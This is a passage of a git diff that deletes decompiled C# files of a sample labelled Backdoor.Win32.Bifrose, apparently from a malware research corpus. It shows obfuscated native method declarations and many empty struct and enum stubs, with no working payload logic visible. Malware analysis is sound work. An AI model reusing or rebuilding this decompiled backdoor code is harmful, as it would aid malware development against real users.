[SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ð( - [In] byte* obj0, - [In] void* obj1, - [In] void* obj2, - [In] int obj3, - [In] int obj4, - [In] long obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] sbyte** obj5); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] sbyte* obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081è( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] ulong obj3, - [In] ulong obj4, - [In] byte* obj5, - [In] ushort obj6, - [In] ushort obj7, - [In] sbyte** obj8); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00B4([In] byte* obj0, [In] uint* obj1, [In] byte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00D7([In] byte* obj0, [In] byte* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ([In] byte* obj0, [In] uint obj1, [In] ushort obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] sbyte* obj3, - [In] sbyte** obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ñ( - [In] byte* obj0, - [In] uint obj1, - [In] ushort obj2, - [In] byte* obj3, - [In] ushort obj4, - [In] ushort obj5, - [In] sbyte** obj6); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int Ã([In] byte* obj0, [In] void* obj1, [In] sbyte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081Ä([In] byte* obj0, [In] void* obj1, [In] sbyte* obj2, [In] byte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00BC([In] byte* obj0, [In] sbyte* obj1, [In] uint* obj2, [In] ulong* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00BC([In] byte* obj0, [In] sbyte* obj1, [In] uint* obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081µ( - [In] byte* obj0, - [In] void* obj1, - [In] uint obj2, - [In] ulong obj3, - [In] sbyte** obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081µ([In] byte* obj0, [In] void* obj1, [In] uint obj2, [In] sbyte** obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u00A1([In] byte* obj0, [In] ulong obj1, [In] ulong obj2, [In] int* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081ª([In] byte* obj0, [In] sbyte* obj1, [In] int obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u00A5([In] byte* obj0, [In] sbyte* obj1, [In] ulong obj2, [In] int* obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void Ý([In] byte* obj0, [In] sbyte* obj1, [In] sbyte** obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u0081\u009B(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern ulong Ï(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern long Ç(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern ulong \u0081\u008C(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u0086(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u0081( - [In] byte* obj0, - [In] void* obj1, - [In] int* obj2, - [In] sbyte* obj3, - [In] int obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u0081([In] byte* obj0, [In] void* obj1, [In] int obj2, [In] int obj3); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u00B7([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void ù(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* ô([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* î([In] byte* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern int \u0095([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void ã([In] void* obj0, [In] int obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int Õ(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0084([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0081\u009A([In] void* obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int \u0082\u00AE([In] void* obj0, [In] void* obj1, [In] int obj2, [In] void* obj3); - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0086.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0086.cs deleted file mode 100644 index e2a7e029..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0086.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.† -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 60)] - internal struct \u0086 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0088.cs deleted file mode 100644 index a69f94e1..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0088.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_008D.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_008D.cs deleted file mode 100644 index e605d501..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_008D.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼. -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 56)] - internal struct \u008D - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0094.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0094.cs deleted file mode 100644 index eb51e3fc..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0094.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.” -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0094 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/ .cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/ .cs deleted file mode 100644 index eb916fa3..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/ .cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.  -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct \u00A0 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/¨.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/¨.cs deleted file mode 100644 index 7ff1af42..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/¨.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.¨ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u00A8 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/­.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/­.cs deleted file mode 100644 index ab494442..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/­.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.­ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00AD - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/±.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/±.cs deleted file mode 100644 index 2a7ce565..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/±.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.± -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u00B1 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/´.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/´.cs deleted file mode 100644 index 772768fe..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/´.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.´ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00B4 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/µ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/µ.cs deleted file mode 100644 index c12e1e1c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/µ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.µ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct µ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/Á.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/Á.cs deleted file mode 100644 index 184230fd..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/Á.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Á -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct Á - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/Ê.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/Ê.cs deleted file mode 100644 index 78ff4736..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/Ê.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ê -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Ê - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/ä.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/ä.cs deleted file mode 100644 index 6f414014..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/ä.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ä -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct ä - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_0090.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_0090.cs deleted file mode 100644 index 81b2a2d7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_0090.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0082\u0090 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_0098.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_0098.cs deleted file mode 100644 index 4f05f0eb..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/å/_0082_0098.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚˜ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - 